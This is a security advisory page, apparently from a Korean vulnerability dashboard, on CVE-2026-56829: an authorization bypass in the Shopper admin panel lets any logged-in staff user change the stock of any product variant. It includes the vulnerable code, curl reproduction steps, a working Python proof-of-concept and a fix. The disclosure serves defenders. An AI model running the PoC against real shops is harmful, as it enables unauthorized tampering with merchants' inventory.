Kestrel
대시보드로 돌아가기
CVE-2026-56829HIGH· 8.1GHSA대응게시일: 2026. 09. 11.수정일: 2026. 09. 11.

Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.1high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.1HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

상세 설명

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

  • packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91
sql
1// Line 34 - unprotected, client-mutable variant binding
2public $variant;
3
4// Lines 36-91 - no ->authorize(...) on the Action
5public function stockAction(): Action
6{
7 return Action::make('stock')
8 ->label(__('shopper::forms.actions.update'))
9 ->color('gray')
10 ->icon(Untitledui::Package)
11 ->modalHeading(__('shopper::pages/products.modals.variants.title'))
12 ->modalWidth(Width::Large)
13 ->schema([
14 Select::make('inventory')
15 ->label(__('shopper::pages/products.inventory_name'))
16 ->options(Inventory::query()->pluck('name', 'id'))
17 ->native(false)
18 ->required(),
19 TextInput::make('quantity')
20 ->label(__('shopper::forms.label.quantity'))
21 ->placeholder('-10 or -5 or 50, etc')
22 ->numeric()
23 ->required(),
24 ])
25 ->action(function (array $data): void {
26 // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
27 // with no permission check anywhere in this path
28 });
29}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

bash
1# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
2# Obtain them from a normal browser login, then use them below.
3
4SESSION="laravel_session=<your_session_value>"
5XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
6
7# Step 2: Load the product variant page for any variant ID (e.g., 1).
8# Capture the Livewire snapshot from the page source.
9
10# Step 3: Call the stock action on an arbitrary variant.
11# The wire payload sets "component.variant" to any variant ID in the database.
12
13curl -s -X POST http://localhost/shopper/livewire/update \
14 -H "Content-Type: application/json" \
15 -H "$XSRF" \
16 -H "Cookie: $SESSION" \
17 -d '{
18 "components": [{
19 "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
20 "updates": {},
21 "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
22 }]
23 }'
24# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

sql
1#!/usr/bin/env python3
2"""
3VariantStock authorization bypass PoC.
4
5Set these environment variables before running:
6 BASE_URL e.g. http://localhost
7 SESSION_COOKIE value of the laravel_session cookie
8 XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie
9 COMPONENT_ID Livewire component snapshot ID (from page source)
10 VARIANT_ID integer ID of any target variant
11 INVENTORY_ID integer ID of the target inventory location
12 QUANTITY integer quantity adjustment (positive or negative)
13"""
14
15import json
16import os
17import requests
18
19base_url = os.environ['BASE_URL']
20session = os.environ['SESSION_COOKIE']
21xsrf = os.environ['XSRF_TOKEN']
22component_id = os.environ['COMPONENT_ID']
23variant_id = int(os.environ['VARIANT_ID'])
24inventory_id = int(os.environ['INVENTORY_ID'])
25quantity = int(os.environ['QUANTITY'])
26
27headers = {
28 'Content-Type': 'application/json',
29 'Accept': 'text/html, application/xhtml+xml',
30 'X-XSRF-TOKEN': xsrf,
31 'Cookie': f'laravel_session={session}',
32 'X-Livewire': '1',
33}
34
35snapshot = json.dumps({
36 'id': component_id,
37 'data': {'variant': variant_id},
38 'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
39})
40
41payload = {
42 'components': [{
43 'snapshot': snapshot,
44 'updates': {},
45 'calls': [{
46 'path': '',
47 'method': 'callAction',
48 'params': ['stock', {
49 'inventory': inventory_id,
50 'quantity': quantity,
51 }]
52 }]
53 }]
54}
55
56r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
57print(f'Status: {r.status_code}')
58print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

bash
1// packages/admin/src/Livewire/Components/Products/VariantStock.php
2
3use Livewire\Attributes\Locked;
4
5#[Locked] // prevent client-side ID substitution
6public $variant;
7
8public function stockAction(): Action
9{
10 return Action::make('stock')
11 ->authorize('edit_product_variants') // add this
12 // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.